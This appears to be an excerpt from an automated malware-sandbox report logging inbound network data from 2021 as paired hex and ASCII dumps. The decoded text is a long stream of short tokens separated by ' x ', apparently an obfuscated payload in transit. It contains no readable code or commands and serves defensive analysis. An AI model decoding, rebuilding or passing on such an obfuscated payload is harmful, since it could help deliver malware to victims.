Data Ascii:  RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x

2021-10-29 15:55:36 UTC 2666 IN Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4b 51 20 78 20 52 52 20 78 20 
Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x RY x RY x kY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x tO x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x to x OxE x RY x RY x RY x Rt x KQ x RR x 

2021-10-29 15:55:36 UTC 2667 IN Data Raw: 4b 20 78 20 74 74 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 4f 6f 6f 20 78 20 74 52 20 78 20 4f 6f 6f 20 78 20 
4f 78 6f 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 74 45 20 78 20 6b 6b 20 78 20 6b 45 20 78 20 4f 78 
6b 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 4f 45 20 78 20 59 4b 20 78 20 4f 4f 4f 
20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 6b 78 20 78 20 4f 4f 6b 20 78 20 59 45 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 
4f 6f 78 20 78 20 4b 74 20 78 20 6b 78 20 78 20 74 52 20 78 20 4f 78 4b 20 78 20 4f 4f 52 20 78 20 74 52 20 78 20 4b 74 
20 78 20 4b 51 20 78 20 4f 4f 74 20 78 20 74 52 20 78 20 52 74 20 78 20 4f 78 4b 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 
20 4f 6f 4f 20 78 20 59 45 20 78 20 4f 
Data Ascii: K x tt x OOQ x OOY x Ooo x tR x Ooo x Oxo x OOK x OxO x Oox x tE x kk x kE x Oxk x OOO x OxY x kK x 
Oxt x OOE x YK x OOO x YO x OOk x kx x OOk x YE x KE x OOk x Oox x Kt x kx x tR x OxK x OOR x tR x Kt x KQ x OOt 
x tR x Rt x OxK x OOO x OOK x OoO x YE x O

2021-10-29 15:55:36 UTC 2669 IN Data Raw: 20 78 20 59 59 20 78 20 52 51 20 78 20 4f 78 4b 20 78 20 4f 78 78 20 78 20 74 59 20 78 20 6b 74 20 78 20 4f 
78 59 20 78 20 74 4b 20 78 20 74 51 20 78 20 6b 45 20 78 20 4f 4f 4b 20 78 20 4f 4f 45 20 78 20 4f 78 52 20 78 20 4f 78 4f 
20 78 20 59 52 20 78 20 4b 45 20 78 20 4b 74 20 78 20 4f 4f 78 20 78 20 59 4b 20 78 20 4b 74 20 78 20 74 6f 20 78 20 59 
52 20 78 20 59 52 20 78 20 4f 4f 74 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 6b 74 20 78 
20 59 6f 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 4f 20 78 20 4f 78 59 20 78 20 4f 4f 6b 20 78 20 74 52 20 78 20 4f 78 
51 20 78 20 4f 4f 6b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4f 78 51 20 78 20 59 4b 20 78 20 4f 4f 74 20 78 20 59 59 20 
78 20 4f 78 59 20 78 20 4b 51 20 78 20 4f 4f 6f 
Data Ascii:  x YY x RQ x OxK x Oxx x tY x kt x OxY x tK x tQ x kE x OOK x OOE x OxR x OxO x YR x KE x Kt x OOx x YK 
x Kt x to x YR x YR x OOt x tO x Kk x OOk x Kt x kt x Yo x OOY x tY x tO x OxY x OOk x tR x OxQ x OOk x OOO x YK x 
OxQ x YK x OOt x YY x OxY x KQ x OOo
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2021-10-29 15:55:36 UTC 2670 IN Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
Data Ascii:  x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY x RY

2021-10-29 15:55:36 UTC 2671 IN Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x R

2021-10-29 15:55:36 UTC 2673 IN Data Raw: 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 74 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 74 
45 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
Data Ascii: x RY x kO x RY x RR x RY x RY x RY x RY x tY x RY x tE x RY x OxE x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RR x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x RR x OOt x RY x RY x RY x RY x kO x 
RY x tE x RY x OxE x tE x kY x RY x RY x RY x

2021-10-29 15:55:36 UTC 2674 IN Data Raw: 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 
52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 
78 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 74 20 7
8 20 52 59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 
20 78 20 6b 51 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 52 59 
Data Ascii:  RY x RQ x RY x RY x RY x Rt x kO x RY x OOQ x Rt x RY x tE x RY x RY x RY x RY x tY x OxE x Rk x RY x 
tE x RY x OxR x RY x RY x RY x RY x OOQ x RY x tt x RY x OxE x Rt x kQ x RY x RY x RY x Rk x kQ x RY x OOQ x Rt x 
RY x tK x OOQ x RY x RY x RY x kx x RY

2021-10-29 15:55:36 UTC 2675 IN Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 
20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 
59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 74 78 20 78 20 
52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
Data Ascii:  RY x RY x RY x Rt x OxE x tx x RY x tE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x RY x kO x RY x RY x RY x RQ x RY x tx x RY x tE x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY 

2021-10-29 15:55:36 UTC 2677 IN Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 
20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 74 78 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
Data Ascii:  x RY x RY x tY x OxE x tx x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x 
RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x tR x OxE x tx x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x 

2021-10-29 15:55:36 UTC 2678 IN Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 
20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 2
0 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 
78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
Data Ascii:  x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x Rk x OxE 
x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x 
RY x RQ x RY x Rt x kO x kO x RY x RY x R

2021-10-29 15:55:36 UTC 2679 IN Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 74 20 78 20 
6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78 20 74 4f 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
Data Ascii: x RY x RY x tR x OxE x tO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO 
x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x tt x OxE x tO x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x R
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2021-10-29 15:55:36 UTC 2681 IN Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 
78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 5
2 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 
20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 
Data Ascii: x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY x RQ x OxE 
x to x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x 
RY x RQ x RY x Rk x kO x kO x RY x RY x tx

2021-10-29 15:55:36 UTC 2682 IN Data Raw: 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 
52 59 20 78 20 4f 4f 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 4f 20 
78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 74 20 78 20 52 59 20 78 20 74 4b 20 78 20 
6b 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 52 20 78 20 52 59 20 7
8 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
Data Ascii:  x RY x kO x RY x RY x RY x RY x RY x RY x RY x Rk x Oxt x Rt x OxE x tE x RY x OOO x OxE x RY x RY x 
RY x tQ x kO x RQ x RY x RY x RY x RY x RY x RY x RY x RY x OxY x RY x OOY x Rt x RY x tK x kQ x Rt x RY x RY x 
Rk x Oxt x RR x RY x RY x RY x RY x RY x 

2021-10-29 15:55:36 UTC 2683 IN Data Raw: 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 
20 78 20 52 59 20 78 20 74 51 20 78 20 6b 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 52 74 20 78 20 6b 4f 20 78 20 
52 74 20 78 20 52 59 20 78 20 74 52 20 78 20 74 45 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 
20 4f 78 74 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 4f 78 45 20 78 
20 52 74 20 78 20 6b 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
Data Ascii:  x OxE x tE x RY x tR x RY x tE x RY x RY x tQ x kO x RQ x RY x RY x RY x RY x RY x RY x RY x RY x kt x 
Rt x kO x Rt x RY x tR x tE x RR x RY x RY x Rk x Oxt x RR x RY x RY x RY x RY x RY x RY x RY x RY x RY x OOQ x 
OxQ x RY x OxE x Rt x kt x RY x RY x RY

2021-10-29 15:55:36 UTC 2685 IN Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 45 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 2
0 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
Data Ascii:  RY x RY x RY x RY x RY x RY x RY x RR x OOQ x RY x RY x RY x Rt x OxE x RY x RY x RY x RY x OxE x 
RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RQ x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RY x 
RQ x RY x RY x RY x RY x RY x RY x RY x RY x R

2021-10-29 15:55:36 UTC 2686 IN Data Raw: 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 
4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 
20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 
78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 
6f 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 52 20 78 20 52 59 20 78 20 74 6f 20 78 20 
4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 
20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 
Data Ascii: Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x Kt x KE x RY x kx x Kt x Kt 
x Kt x OxE x Rk x Kt x Kt x Kt x Yo x RY x Kt x Kt x Kt x YR x RY x to x Kt x Kt x KE x RY x RR x Kt x Kt x Kt x RY x RY x 
kx x Kt x Kt x

2021-10-29 15:55:36 UTC 2687 IN Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY x RY 

2021-10-29 15:55:36 UTC 2689 IN Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x 
RY x RY x RY x RY x RY x RY x RY x RY x RY x R

2021-10-29 15:55:36 UTC 2690 IN Data Raw: 59 52 20 78 20 4f 4f 74 20 78 20 59 4b 20 78 20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 
20 4b 74 20 78 20 59 52 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 4b 74 20 78 20 59 52 20 78 20 74 59 20 78 20 4f 4f 6f 
20 78 20 4b 74 20 78 20 59 52 20 78 20 74 4f 20 78 20 4f 78 51 20 78 20 4b 74 20 78 20 59 59 20 78 20 59 78 20 78 20 4f 
78 6f 20 78 20 4f 78 51 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 59 78 20 78 20 74 74 20 78 20 6b 45 
20 78 20 59 4b 20 78 20 6b 51 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 51 20 78 20 
4f 78 45 20 78 20 4f 4f 51 20 78 20 6b 51 20 78 20 52 
Data Ascii: YR x OOt x YK x Kt x YR x OxO x Oox x Kt x YR x OxO x OOQ x Kt x YR x tY x OOo x Kt x YR x tO x OxQ x 
Kt x YY x Yx x Oxo x OxQ x OxQ x tK x kk x RY x RY x RY x RY x RY x RY x RY x RY x Yx x tt x kE x YK x kQ x RQ x 
OxE x OOQ x kQ x RQ x OxE x OOQ x kQ x R
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2021-10-29 15:55:36 UTC 2691 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6b 20 78 20 4b 51 
20 78 20 59 74 20 78 20 4f 78 6f 20 78 20 6b 74 20 78 20 74 78 20 78 20 51 78 20 78 20 4f 6f 6f 20 78 20 4f 78 52 20 78 
20 74 78 20 78 20 4f 6f 78 20 78 20 51 78 20 78 20 59 52 20 78 20 4f 4f 59 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 4b 
74 20 78 20 59 52 20 78 20 4b 74 20 78 20 52 59 20 78 20 4b 74 20 78 
Data Ascii: RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY 
x RY x RY x RY x RY x RY x RY x RY x RY x RY x kk x KQ x Yt x Oxo x kt x tx x Qx x Ooo x OxR x tx x Oox x Qx x YR x 
OOY x OOk x RY x Kt x YR x Kt x RY x Kt x

